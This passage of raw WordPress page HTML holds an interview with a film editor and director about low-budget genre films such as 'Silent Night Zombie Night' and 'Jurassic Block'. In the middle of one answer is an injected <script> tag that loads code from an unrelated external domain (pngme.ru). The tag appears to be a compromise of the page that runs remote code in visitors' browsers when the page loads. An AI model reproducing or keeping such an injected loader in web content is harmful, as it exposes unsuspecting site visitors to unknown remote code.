Sadly, my experience is that most of the films where I\u2019m a hired gun there\u2019s not much thought to the whole enchilada. A particular scene might be fine, but when you try to string all those scenes together then the flow doesn\u2019t quite work. Coming from an editing background I\u2019ve been lucky so far to know exactly what I want and get exactly what I was aiming for. Then the editing goes fairly quickly.<\/b><\/p>\n<p><b>\u00a0<a href=\"http:\/\/www.bmovienation.com\/?attachment_id=8553\" rel=\"attachment wp-att-8553\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-8553\" alt=\"riseOFdinosaur\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/10\/riseOFdinosaur-212x300.jpg\" width=\"212\" height=\"300\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/10\/riseOFdinosaur-212x300.jpg 212w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/10\/riseOFdinosaur.jpg 342w\" sizes=\"auto, (max-width: 212px) 100vw, 212px\" \/><\/a><\/b><\/p>\n<p>\u201cSilent Night Zombie Night\u201d was the most challenging film for you. Why was that and what did you take out from that experience?<\/p>\n<p><b>SEAN: SNZN was my first \u2018real film\u2019. (Not to take anything away from \u201cNaked Beneath the Water\u201d, but that was done with friends on weekends over the course of a couple of years.) However, the budget was still pretty tiny. We worked 18-hour days almost every day and by the end of the run everyone was getting sick. Being that it was December there also was a lack of light and we had to create a lot of day for night type lighting set ups.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/b><\/p>\n<p><b><a href=\"http:\/\/www.youtube.com\/watch?%5bv=G78z5ipTgUo%5d\">http:\/\/www.youtube.com\/watch?[v=G78z5ipTgUo]<\/a> <\/b><\/p>\n<p><b>\u00a0<\/b><\/p>\n<p>As an editor, what are your biggest challenges and what do you love most about editing?<\/p>\n<p><b>SEAN: My biggest challenges are when some bonehead \u2018director\u2019 doesn\u2019t know what he\u2019s doing and doesn\u2019t get proper coverage for the scenes. But out of the whole process I do love editing the most.

First film, as a director, for the SyFy channel. I\u2019ve been working quite a bit as an editor and I did some directing for pickup days on \u201cRise of the Dinosaurs\u201d, but this one is all mine. Writing, directing and editing. The premise might sound a little silly because it\u2019s about sorority girls and prisoners having to team up after dinosaurs are let loose in a prison, but it\u2019s not campy at all. Straight up action and fun. I had an amazing cast, Ray Wise, Kevin Gage and Robert LaSardo which you might recognize and a lot of other actors you wouldn\u2019t, but I swear will be household names one day! It should be coming out next year. We are just finishing up the post sound on it.<\/b><\/p>\n<p><b><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=8555\" rel=\"attachment wp-att-8555\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-8555\" style=\"width: 435px; height: 167px;\" alt=\"jurassicBlock\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/10\/jurassicBlock-300x111.jpg\" width=\"300\" height=\"111\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/10\/jurassicBlock-300x111.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/10\/jurassicBlock-785x290.jpg 785w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2013\/10\/jurassicBlock.jpg 851w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>\u00a0<\/b><\/p>\n<p>Any projects in the works after \u201cJurassic Block\u201d?<\/p>\n<p><b>SEAN: Right now I\u2019m working editing two feature films, \u201cLA Apocalypse\u201d for SyFy and \u201cDeath by Solicitation\u201d which is a horror movie produced by my friend, Felissa Rose.
